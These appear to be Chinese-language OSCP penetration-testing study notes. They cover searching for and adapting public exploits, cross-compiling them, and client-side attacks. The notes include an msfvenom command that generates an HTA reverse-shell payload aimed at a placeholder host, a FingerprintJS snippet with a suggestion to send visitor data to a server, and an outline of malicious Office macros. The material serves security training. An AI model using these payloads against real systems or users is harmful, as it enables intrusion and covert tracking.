    OSCP学习笔记(7)——EXP收集、利用、修复

    EXP搜索

    可以通过一些联网数据库获得
    Exploit-DB已知漏洞及POC等
    Sync开源漏洞数据库
    也可以通过kali自带的searchsploit查找(Exploit-db离线版)

    searchsploit <NAME> <VERSION>
    

    msf里面也有

    msfconsole
    search <NAME>
    

    EXP利用

    在msf/exploit-db中有一些ruby/python/lua/c的exp,使用之前需要修改、查看文件了解功能,更改参数
    有可能存在同一漏洞、不同版本不同系统的EXP

    EXP修复

    1. 缓存区溢出
      需要注意的有文件路径、IP地址、端口、URL、偏移量、返回地址、跳转指令
      对于不同系统的EXP可能需要mingw-64跨平台编译
    apt install mingw-w64
    i686-w64-mingw32-gcc -lws2_32 [INFILE] [-o {OUTFILE}] #x86架构编译并且链接lws2_32库
    
    1. WEB漏洞
      主要有下面几种
      a. 协议为HTTP/HTTPS
      b. 是否需要访问特定路径或路由
      c. 身份认证前是否可利用漏洞
      d. 清求方法为GET/POST
      c. 证书报错

    OSCP学习笔记(6)——客户端攻击

    客户端攻击即攻击客户端软件、邮件
    例如:浏览器、PDF、OFFICE、邮件附件、恶意链接

    Fingerprintjs

    Fingerprintjs是一个浏览器指纹库,它可以查询浏览器的属性,并从中计算出一个哈希的访问者标识符。与Cookie和本地存储不同,指纹在隐私模式下和浏览器数据被清除时仍然保持不变。
    Github-Fingerprintjs

    <script>
      // Initialize the agent at application startup.
      const fpPromise = import('https://openfpcdn.io/fingerprintjs/v3')
        .then(FingerprintJS => FingerprintJS.load())
      // Get the visitor identifier when you need it.
      fpPromise
        .then(fp => fp.get())
        .then(result => {
          // This is the visitor identifier:
          const visitorId = result.visitorId
          console.log(visitorId)
        })
    </script>
    

    可以结合一些操作,把信息通过post等方法提交至指定服务端

    HTA程序

    HTA文件可以被IE作为HTML应用程序执行。兼容ActiveX,支持JavaScript、VBScript,执行任意程序
    仅针对IE、Edge有效
    可以如下通过msf生成该反弹shell目标载荷

    msfvenom -p windows/shell_reverse_tcp LHOST=<HOST> LPORT=<PORT> -f hta-psh -o <FILENAME>.hta
    

    Office宏/嵌入对象

    文档后缀为.doc或.docm
    利用宏执行VBA代码,支持ActiveX、Windows脚本主机
    也可以通过嵌入批处理文件/动态数据交换等功能启动任意程序